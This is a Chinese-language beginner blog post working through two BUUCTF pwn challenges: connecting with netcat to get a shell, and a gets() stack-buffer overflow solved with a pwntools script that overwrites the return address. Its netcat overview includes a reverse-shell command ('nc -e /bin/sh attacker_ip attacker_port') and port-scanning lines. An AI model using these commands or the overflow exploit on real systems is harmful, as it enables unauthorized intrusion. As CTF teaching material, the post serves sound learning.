【CTF入门】BUUCTF Pwn刷题(持续更新)

【CTF入门】BUUCTF Pwn刷题(持续更新)

test_your_nc

题目会有一个test附件,我们下载使用IDA64打开:

image-20241001165149817

我们可以发现主程序就是一句system("/bin/sh");用于通过系统调用执行一个 shell(命令行解释器)

也就是说只要我们运行这个程序就可以直接调用执行一个shell(shell是什么待补充)

那么我们开启靶机,这次给的靶机地址浏览器打不开了怎么回事?

image-20241001165443525

image-20241001165511023

这说明这次给出的靶机node5.buuoj.cn:28692并没有开启web服务,那么我们应该怎样连接上靶机呢?题目提示说“测试你的nc”,nc又是什么?

Netcat

nc(Netcat)是一款功能强大的网络工具,常被称为“瑞士军刀”,用于网络调试和安全测试。它支持多种网络协议(主要是 TCP 和 UDP),并具有多种用途。

端口扫描:可以用来扫描目标主机的开放端口,确定哪些服务在运行。

nc -zv target_ip 1-65535

建立连接:可以作为客户端与远程主机建立 TCP/UDP 连接。

nc target_ip port

监听端口:可以在指定端口上监听连接,适合用于接收数据或进行服务测试。

nc -l -p port

文件传输:可以通过 TCP 连接传输文件。

# 发送文件
nc -w 3 target_ip port < file.txt

# 接收文件
nc -l -p port > received_file.txt

创建反向 shell:在渗透测试中,攻击者可以利用 nc 创建一个反向 shell,以便在目标系统上执行命令。

nc -e /bin/sh attacker_ip attacker_port

聊天工具:可以快速实现简易的聊天功能,两个终端可以通过 nc 进行实时交流。

nc -l -p port   # 监听
nc target_ip port  # 连接

这里我们使用Netcat的建立连接的功能,直接连接上靶机的28692端口

按照Pwn题目的格式,在靶机28692端口运行着的正是题目提供的test可执行文件,也就是说说明我们连接靶机28692端口后执行test程序,我们可以直接得到shell:

nc node5.buuoj.cn 28692

image-20241001170222003

我们再执行ls查看当前目录发现flag文件,使用cat flag命令成功得到flag

考点:理解Pwn题目的格式

rip

题目会有一个pwn1附件,我们下载使用IDA64打开:

image-20241001170442708

我们理一理其中代码的逻辑:

int __fastcall main(int argc, const char **argv, const char **envp) // 主函数,接收命令行参数和环境变量
{
  char s[15]; // 声明一个字符数组 s,大小为 15 字节,用于存储用户输入

  puts("please input"); // 输出提示信息,请求用户输入
  gets(s, argv); // 使用 gets 函数读取用户输入,存储到 s 中
  puts(s); // 输出用户输入的内容
  puts("ok,bye!!!"); // 输出结束信息
  return 0; // 返回 0,表示程序正常结束
}

这题目很简单,看汇编代码也能看明白:

image-20241001172854398

push    rbp               ; 将基址指针 rbp 入栈,以保存当前的栈帧
mov     rbp, rsp          ; 将当前栈指针 rsp 赋值给 rbp,建立新的栈帧
sub     rsp, 10h          ; 为局部变量分配 16 字节的空间(0x10h)在栈上

lea     rdi, s           ; 将字符串 "please input" 的地址加载到 rdi 中
call    _puts             ; 调用 puts 函数,输出提示信息

lea     rax, [rbp+s]     ; 计算局部变量 s 的地址,并将其加载到 rax 中
mov     rdi, rax         ; 将局部变量 s 的地址传递给 rdi,以准备作为 gets 的参数
mov     eax, 0           ; 将 eax 清零,准备调用 gets 函数
call    _gets             ; 调用 gets 函数,读取用户输入并存储到 s 中

lea     rax, [rbp+s]     ; 再次计算局部变量 s 的地址
mov     rdi, rax         ; 将局部变量 s 的地址传递给 rdi,以准备作为 puts 的参数
call    _puts             ; 调用 puts 函数,输出用户输入的内容

lea     rdi, aOkBye      ; 将字符串 "ok,bye!!!" 的地址加载到 rdi 中
call    _puts             ; 调用 puts 函数,输出结束信息

mov     eax, 0           ; 将 eax 清零,准备返回 0
leave                    ; 清理栈帧,恢复之前的 rbp
retn                     ; 返回到caller

这里简单地讲一讲函数调用的规则:

image-20241001173602592

image-20241001173613730

image-20241001173800296

来源于湖南工商大学彭许红老师的课件

由于这题是64位的elf文件,在64位cpu中使用的是rsp和rbp寄存器(还有一个题目名rip寄存器,指向当前栈栈帧执行的命令)

这题解释起来太复杂了,所以我画了张图:

image-20241001184354547

也就是说我们只需要给局部变量s的内存空间、ebp寄存器的空间(64为中是8字节)注入满,之后我们再输入的数据就是return address的值了;当我们修改return address了,就是说我们可以指定下一个运行的函数地址!

我们查看程序中的字符串,发现了/bin/sh:

image-20241001171537855

我们点击后寻找它在哪个函数中:

image-20241001171553640

最后发现fun函数中给出了shell:

image-20241001171604407

那么解题逻辑就很明确了:我们给局部变量s的内存空间、ebp寄存器的空间注入满,将return address指定为fun函数的地址即401186:

image-20241001190418612

原理我们都懂了,那么我们要用什么工具去实现呢?

pwntools

pwntools 是一个强大的 Python 库,专为开发和利用二进制漏洞而设计

它的主要功能包括:

网络交互:提供简单的接口来进行 TCP/UDP 网络连接,方便与远程服务进行交互。

文件操作:支持操作二进制文件,包括读取、写入和修改 ELF 文件等。

调试支持:集成了调试器,可以与 GDB 一起使用,方便进行调试和漏洞利用。

构造和发送 payload:简化了创建和发送恶意 payload 的过程,支持多种格式和协议。

与常见漏洞结合:内置对常见漏洞(如缓冲区溢出、格式化字符串漏洞等)的支持,提供了相关工具和函数。

自动化测试:支持快速编写自动化脚本,进行安全测试和漏洞利用。

多平台支持:可在多种操作系统上使用,包括 Linux、macOS 和 Windows。

(pwn环境安装参考:Ubuntu22.04搭建PWN环境 - LY613313 - 博客园 (cnblogs.com)

在此我们可以构造出exp(exploit的缩写,指一种利用软件或系统中的漏洞以执行不被授权的操作的代码或程序):

from pwn import *  # 导入 pwntools 库

# 指定p为进程对象连接到远程服务,地址为 node4.buuoj.cn,端口为 28367
p = remote("node5.buuoj.cn", 28367)

# 构造 payload
# b'A' * 15:填充 15 个 'A' 字符(用于缓冲区溢出)
# b'B' * 8:填充 8 个 'B' 字符(用于覆盖rbp寄存器)
# p64(0x401186):将目标地址改为0x401186+1,并将其转换为 64 位格式(这里+1是因为动态调试的堆栈平衡,等我学会了我之后会介绍)
payload = b'A' * 15 + b'B' * 8 + p64(0x401186+1)

# 发送 payload 到远程服务
p.sendline(payload)

# 进入交互模式,与远程服务进行进一步交互
p.interactive()

我们发送payload后就得到了shell,再进入交互模式即可利用shell

这里给出了逐条执行的回显:

image-20241001193028752

补充

考点:栈溢出

posted @ 2024-10-30 21:26  Super_Snow_Sword  阅读(195)  评论(0编辑  收藏  举报